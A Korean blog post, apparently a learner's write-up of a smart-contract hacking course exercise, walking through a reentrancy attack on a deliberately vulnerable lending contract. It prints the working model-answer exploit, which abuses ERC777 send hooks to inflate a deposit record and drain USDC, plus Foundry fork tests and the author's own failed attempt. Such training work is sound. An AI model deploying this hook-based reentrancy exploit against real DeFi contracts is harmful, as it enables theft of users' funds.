[SCH] Smart Contract Hacking 13편 - ReEntrancy 3

0xDave·2023년 4월 9일
0

Ethereum

목록 보기
105/112
post-thumbnail

Task1


디파이 컨트랙트에 있는 USDC를 탈취해보자.

// SPDX-License-Identifier: GPL-3.0-or-later 
pragma solidity ^0.8.13;

import "@openzeppelin/contracts/token/ERC20/IERC20.sol";

/**
 * @title ChainLend
 * @author JohnnyTime (https://smartcontractshacking.com)
 */
contract ChainLend {
    
    // Deposit token is imBTC, borrow token is USDC
    IERC20 public depositToken;
    IERC20 public borrowToken;
    mapping(address => uint256) public deposits;
    mapping(address => uint256) public debt;
    
    constructor(address _depositToken, address _borrowToken) {
        depositToken = IERC20(_depositToken);
        borrowToken = IERC20(_borrowToken);
    }

    // @audit-issue doesn't follow checks-effects-interactions
    function deposit(uint256 amount) public {
        uint256 deposited = deposits[msg.sender];
        depositToken.transferFrom(msg.sender, address(this), amount);
        deposits[msg.sender] = deposited + amount;
    }

    // @audit-ok does follow checks-effects-interactions
    // Can only be called if the debt is repayed
    function withdraw(uint256 amount) public {

        uint256 deposited = deposits[msg.sender];
        require(debt[msg.sender] <= 0, "Please clear your debt to Withdraw Collateral");
        require(amount <= deposited, "Withdraw Limit Exceeded");

        deposits[msg.sender] = deposited - amount;
        depositToken.transfer(msg.sender, amount);
    }

    // @audit-ok does follow checks-effects-interactions
    // Assuming correct prices and oracles are in place to calculate the correct borrow limit
    // For smplicity purposes, setting the imBTC oracle price to 20,000 USDC for 1 imBTC.
    function borrow(uint256 amount) public {
        
        uint256 deposited = deposits[msg.sender];
        uint256 borrowed = debt[msg.sender];
        require(deposited > 0, "You need to deposit before borrowing");

        // BorrowLimit is deposited balance by caller multiplied with the price of imBTC,
        // and then dividing it by 1e8 because USDC decimals is 6 while imBTC is 8
        uint256 borrowLimit = (deposited * 20_000 * 1e6) / 1e8;
        // Finally allowing only 80% of the deposited balance to be borrowed (80% Loan to value)
        borrowLimit =  ((borrowLimit * 80) / 100) - borrowed;
        require(amount <= borrowLimit, "BorrowLimit Exceeded");

        debt[msg.sender] += amount;
        borrowToken.transfer(msg.sender, amount);
    }

    // @audit-issue doesn't follow checks-effects-interactions
    function repay(uint256 amount) public{

        require(debt[msg.sender] > 0, "You don't have any debt");
        require(amount <= debt[msg.sender], "Amount to high! You don't have that much debt");

        borrowToken.transferFrom(msg.sender, address(this), amount);
        debt[msg.sender] -= amount;
    }
}

공격 컨트랙트 짜기


그런데 현재 checks-effects-interactions 패턴이 아닌 함수는 depositrepay 뿐이다. 정작 토큰을 받아서 재호출을 한다고 해도 공격 컨트랙트에서 토큰만 계속 빠져나갈 뿐, 탈취할 수 없다.

그렇다면 생각할 수 있는 경로는 4가지 정도가 있다.

  1. Withdraw - Deposit 반복
  2. Withdraw - Repay 반복
  3. Borrow - Deposit 반복
  4. Borrow - Repay 반복

1번은 단순히 imBTC를 예치하고 인출하는 것이니 usdc를 탈취할 수 없다. 2번은 호출할 수 있는 조건이 서로 상충(debt 조건)하므로 탈락. 3번은 정직한 루트이므로 탈락. 4번도 마찬가지로 탈락.

한 가지 가능성이 있는 점은 컨트랙트 상에서 transferFrom만 호출하지 해당 토큰이 실제로 이동했는지는 확인하지 않는다는 것이다. Borrow 한 토큰을 부지갑으로 이동하고 repay 하는 방식으로 시도해보자.


// SPDX-License-Identifier: GPL-3.0-or-later
pragma solidity ^0.8.13;

import "@openzeppelin/contracts/token/ERC20/IERC20.sol";
import "@openzeppelin/contracts/interfaces/IERC1820Registry.sol";
import "forge-std/console.sol";


interface IChainLend {
    function deposit(uint256 amount) external;
    function withdraw(uint256 amount) external;
    function borrow(uint256 amount) external;
    function repay(uint256 amount) external;
}

contract AttackChainLend {

    IERC20 public depositToken;
    IERC20 public borrowToken;
    address attacker;
    address public secondWallet;
    IChainLend chainLend;

    uint256 constant depositAmount = 1 * 1e8;
    uint256 constant borrowAmount = 16_000 * 1e6;
    uint256 constant chainLendBalance = 10_000_000 * 1e6;

    constructor(address _depositToken, address _borrowToken, address payable _chainLend, address _secondWallet) {
        depositToken = IERC20(_depositToken);
        borrowToken = IERC20(_borrowToken);

        chainLend = IChainLend(_chainLend);
        attacker = msg.sender;
        secondWallet = _secondWallet;
    }

    function attack() external {
        chainLend.deposit(depositAmount);
        chainLend.borrow(borrowAmount);
    }

    function transferToSecondWallet() public {
        (bool success, ) = secondWallet.call{value: borrowAmount}("");
        require(success, "Transfer failed");
    }

    receive() payable external {
        if (borrowToken.balanceOf(address(chainLend)) < 100 * 1e6) {
            transferToSecondWallet();
            chainLend.repay(borrowAmount);
            chainLend.borrow(borrowAmount);
        } else {
            transferToSecondWallet();
            chainLend.repay(borrowAmount);
            chainLend.withdraw(borrowAmount);
        }
    }

}

테스트 코드 짜기


// SPDX-License-Identifier: MIT
pragma solidity ^0.8.13;

import "forge-std/Test.sol";
import "../../src/reentrancy-3/AttackChainLend.sol";
import "../../src/reentrancy-3/ChainLend.sol";
import "@openzeppelin/contracts/token/ERC20/IERC20.sol";

/**
@dev run "forge test --fork-url $ETH_RPC_URL --fork-block-number 15969633 --match-contract RE3 -vvv" 
*/

contract TestRE3 is Test {

    address deployer;
    address attacker;
    address secondWallet;

    ChainLend chainLend;
    AttackChainLend attackChainLend;

    address depositToken = 0x2260FAC5E5542a773Aa44fBCfeDf7C193bc2C599;
    address borrowToken = 0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48;

    uint256 constant INITIAL_CHAINLEND_BALANCE = 1_000_000 * 1e6;
    uint256 constant INITIAL_ATTACKCONTRACT_BALANCE = 1 * 1e8;

    function setUp() public {
        deployer = address(1);
        attacker = address(2);
        secondWallet = address(3);
        

        vm.prank(deployer);
        chainLend = new ChainLend(address(depositToken), address(borrowToken));
        vm.prank(attacker);
        attackChainLend = new AttackChainLend(address(depositToken), address(borrowToken), payable(address(chainLend)), secondWallet);

        deal(borrowToken, address(chainLend), INITIAL_CHAINLEND_BALANCE);
        deal(depositToken, address(attackChainLend), INITIAL_ATTACKCONTRACT_BALANCE);

        assertEq(IERC20(borrowToken).balanceOf(address(chainLend)), INITIAL_CHAINLEND_BALANCE);
        assertEq(IERC20(depositToken).balanceOf(address(attackChainLend)), INITIAL_ATTACKCONTRACT_BALANCE);
    }

    function test_attack() public {
        vm.startPrank(attacker);
        attackChainLend.approve();
        attackChainLend.attack();
        vm.stopPrank();

        assertEq(IERC20(borrowToken).balanceOf(address(chainLend)) < 100 * 1e6, true);
        assertEq(IERC20(depositToken).balanceOf(address(attackChainLend)), INITIAL_ATTACKCONTRACT_BALANCE);
        assertEq(IERC20(borrowToken).balanceOf(address(secondWallet)) >= (INITIAL_CHAINLEND_BALANCE - 100 * 1e6), true);
    }
}

depositToken은 wbtc 주소를, borrowToken은 usdc 주소를 사용했다. 기존에 vm.deal()을 이용해서 이더 수량을 맞춰줬었는데, 다른 erc20 토큰을 같은 방법으로 하려니 에러가 났었다. 이럴 때는 deal()을 활용하자.

function deal(address token, address to, uint256 give) external;

추가로 기존 공격 컨트랙트에서 approve() 코드를 넣지 않았더니 deposit을 못하는 에러가 나서 해당 코드를 추가했다.

    function approve() external{
        IERC20(depositToken).approve(address(chainLend), type(uint256).max);
        IERC20(borrowToken).approve(address(chainLend), type(uint256).max);
    }

터미널에서 이더 메인넷 rpc를 추가해주고

ETH_RPC_URL="paste your rpc url here"

아래 명령어로 테스트를 실행한다.

forge test --fork-url $ETH_RPC_URL --fork-block-number 15969633 --match-contract RE3 -vvv

하지만 결과는 fail..

로그를 보면 예상과 달리 Reentrancy 공격을 못 하고 단순히 deposit(), borrow()를 한 번만 하는 것을 알 수 있다. 어디가 잘못된 걸까?


모범답안


공격 컨트랙트부터 비교해보자.

pragma solidity ^0.8.13;

import "@openzeppelin/contracts/token/ERC20/IERC20.sol";
import "@openzeppelin/contracts/interfaces/IERC1820Registry.sol";
import "forge-std/console.sol";

interface IChainLend {
    function deposit(uint256 amount) external;

    function withdraw(uint256 amount) external;

    function borrow(uint256 amount) external;

    function deposits(address account) external returns (uint256);
}

/**
 * @title AttackChainLend
 * @author JohnnyTime (https://smartcontractshacking.com)
 */
contract AttackChainLend {
    address private owner;
    IChainLend private chainlend;
    IERC20 private imbtc;
    IERC20 private usdc;

    IERC1820Registry internal constant _ERC1820_REGISTRY = IERC1820Registry(0x1820a4B7618BdE71Dce8cdc73aAB6C95905faD24);

    uint256 private currentimBTCBalance;

    uint16 private reentrant = 0;

    constructor(address _imbtc, address _usdc, address _chainlend) {
        owner = msg.sender;
        chainlend = IChainLend(_chainlend);
        imbtc = IERC20(_imbtc);
        usdc = IERC20(_usdc);

        _ERC1820_REGISTRY.setInterfaceImplementer(address(this), keccak256("ERC777TokensSender"), address(this));
    }

    function attack() external {
        require(msg.sender == owner, "not owner");

        for (uint8 i = 1; i <= 64; i++) {
            currentimBTCBalance = imbtc.balanceOf(address(this));

            imbtc.approve(address(chainlend), currentimBTCBalance - 1);
            chainlend.deposit(currentimBTCBalance - 1);

            imbtc.approve(address(chainlend), 1);
            chainlend.deposit(1);

            console.log("Currently Deposited: ", chainlend.deposits(address(this)));
            console.log("Currently imBTC balance: ", imbtc.balanceOf(address(this)));
        }

        uint256 usdcBalance = usdc.balanceOf(address(chainlend));
        chainlend.borrow(usdcBalance);

        usdc.transfer(owner, usdcBalance);
        currentimBTCBalance = imbtc.balanceOf(address(this));
        imbtc.transfer(owner, currentimBTCBalance);
    }

    function tokensToSend(address, address, address, uint256, bytes calldata, bytes calldata) external {
        require(msg.sender == address(imbtc));

        reentrant += 1;
        console.log("Reentrant: ", reentrant);

        if (reentrant % 2 == 0) {
            chainlend.withdraw(currentimBTCBalance - 1);
        }
    }
}

내가 간과한 부분이 있는데, 원래 문제에서 imBTCdepositToken을 설정했었다. 단순히 decimal 차이만 신경쓰면 될 줄 알고 WBTC로 설정을 했던 건데 이번 예제는 imBTC 토큰의 특징을 이용한 문제였다. imBTC는 ERC20이 아닌 ERC777 표준을 사용한 토큰이다. 해당 표준은 ERC20 보다 더 많은 기능을 지원하는 것이 특징이다.

핵심은 Hook에 있다. tokensToSend()tokenReceived()를 이용해 토큰이 전송되거나 받을 때 추가적인 액션을 취할 수 있다. 이를 위해선 IERC1820Registry를 이용해 컨트랙트가 implementer로 등록이 되어 있어야 한다. 그래서 공격 컨트랙트의 constructor에서 setInterfaceImplementer를 이용해 공격 컨트랙트 주소를 implementer로 등록 한 것이다.

마지막에 tokensToSend()를 이용해 Reentrancy 공격을 하는데, attack() 함수에서 imBTC를 두 번 나눠서 deposit을 한다. 이렇게 하는 이유는 처음 deposit을 했을 때는 단순히 공격 횟수를 카운팅하고 두 번째로 deposit 했을 때 Hook이 발동해서 처음에 넣었던 imBTC를 다시 빼오기 위함이다. 이렇게만 보면 공격 로직이 잘 이해가 되지 않기 때문에 조금 더 자세히 살펴볼 필요가 있다.


공격 로직

    //@audit-issue Doesn't Follow Checks-Effects-Interactions
    function deposit(uint256 amount) public {
        uint256 deposited = deposits[msg.sender];
        depositToken.transferFrom(msg.sender, address(this), amount);
        deposits[msg.sender] = deposited + amount;
    }

    //@audit-ok Doesn't Follow Checks-Effects-Interactions
    // Can only be called if the debt is repayed
    function withdraw(uint256 amount) public {
        uint256 deposited = deposits[msg.sender];
        require(debt[msg.sender] <= 0, "Please clear your debt to Withdraw Collateral");
        require(amount <= deposited, "Withdraw Limit Exceeded");

        deposits[msg.sender] = deposited - amount;
        depositToken.transfer(msg.sender, amount);
    }

공격 시나리오를 하나씩 살펴보자.

  1. 먼저 첫 번째 deposit() 때 0.999999imBTC를 입금하고 deposits[msg.sender]에는 정상적으로 0.999999imBTC로 입금량이 반영된다.

  2. 두 번째 deposit() 때는 0.000001imBTC를 입금한다. 하지만 여기서 transferFrom()을 통해 토큰이 전송되면 Hook이 발동해서 withdraw()가 호출된다. 아직 deposit() 함수는 끝나지 않았기 때문에 현재 deposits[msg.sender]는 0.999999imBTC로 되어있다.

  3. withdraw()가 호출됐기 때문에 첫 번째로 입금했던 0.999999imBTC가 다시 공격 컨트랙트로 돌아온다. 이 때 withdraw() 함수 안에 deposits[msg.sender] = deposited - amount;가 있기 때문에 deposits[msg.sender]는 0이 된다.

  4. withdraw()가 다 끝났지만 아직 deposit() 함수는 여전히 진행중이다. 이게 핵심인데, 함수의 마지막 줄인 deposits[msg.sender] = deposited + amount;가 실행되면서 함수가 마무리 된다. 이 때 deposits[msg.sender]는 첫 번째 입금했던 0.999999imBTC에 두 번 째로 입금한 0.000001imBTC가 amount로 추가 되면서 3번에서 0이 됐던 값이 1imBTC로 덮어쓰여지게 된다.

  5. 따라서 실질적으로 0.00001imBTC를 입금했지만 장부에는 1imBTC가 입금된 걸로 적혀있는 셈이다.


핵심은 Hook을 이용해 deposit 도중에 withdraw를 호출하고, deposit 마지막에 deposits[]가 덮어쓰여지는 것을 노리는 것이다. 이게 가능한 이유는 deposit 함수가 Checks-Effects-Interactions 패턴을 따르지 않기 때문이다.


다음은 테스트 코드를 살펴보자.

contract TestRE3 is Test {
    address constant imBTC_ADDRESS = address(0x3212b29E33587A00FB1C83346f5dBFA69A458923);
    address constant USDC_ADDRESS = address(0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48);
    address constant imBTC_WHALE = address(0xFEa4224Da399F672eB21a9F3F7324cEF1d7a965C);
    address constant USDC_WHALE = address(0xF977814e90dA44bFA03b6295A0616a897441aceC);

    //1 million with 6 decimals
    uint256 constant USDC_IN_CHAINLEND = 1e12;

    uint256 init_attacker_bal;
    uint256 init_bank_bal;

    ChainLend chainLend;
    AttackChainLend attackChainLend;

    IERC20 imBTC = IERC20(imBTC_ADDRESS);
    IERC20 usdc = IERC20(USDC_ADDRESS);

    address deployer;
    address attacker;

    function setUp() public {
        deployer = address(1);
        attacker = address(5);
        // Fund deployer & attacker with 100 ETH
        vm.deal(deployer, 100 ether);
        vm.deal(attacker, 100 ether);

        // Send some ETH for whales for tx fees
        vm.prank(deployer);
        imBTC_WHALE.call{value: 2 ether}("");
        USDC_WHALE.call{value: 2 ether}("");

        // ChainLend deployment
        vm.prank(deployer);
        chainLend = new ChainLend(imBTC_ADDRESS, USDC_ADDRESS);

        // Impersonate imBTC Whale and send 1 imBTC to attacker
        vm.prank(imBTC_WHALE);
        imBTC.transfer(attacker, 1e8);

        // Impersonate USDC Whale and send 1M USDC to ChainLend
        vm.prank(USDC_WHALE);
        usdc.transfer(address(chainLend), USDC_IN_CHAINLEND);
    }

    function test_Attack() public {
        vm.startPrank(attacker);
        attackChainLend = new AttackChainLend(imBTC_ADDRESS, USDC_ADDRESS, address(chainLend));
        imBTC.transfer(address(attackChainLend), 1e8);
        attackChainLend.attack();
        vm.stopPrank();

        assertEq(usdc.balanceOf(attacker), USDC_IN_CHAINLEND);
    }
}

setUp 부분에서 고래 주소를 통해 토큰들을 보내는데, 이 방법보다는 deal을 이용하면 될 것 같다. 그 외에는 단순히 공격 컨트랙트의 attack()을 호출하고 마지막에 USDC 밸런스를 확인하고 끝난다.


피드백


접근 방법부터 여러 방법을 생각했지만 ERC20이 아닌 토큰을 활용할 거라고는 생각도 못 했다. 덕분에 머릿속에 깊게 각인 될 것 같다. 단순히 withdraw를 계속 호출하는 것만이 Reentrancy attack이 아니라, Hook을 활용해 mapping을 속이는 것도 Reentrancy attack이 될 수 있다는 것이 흥미로웠다. 아직 배울 것이 많고 성장할 수 있는 기회가 많다는 것은 신나는 일이다. 더 다양한 공격 시나리오를 경험하고 좀 더 창의적으로 사고할 수 있도록 해보자.

profile
Just BUIDL :)

0개의 댓글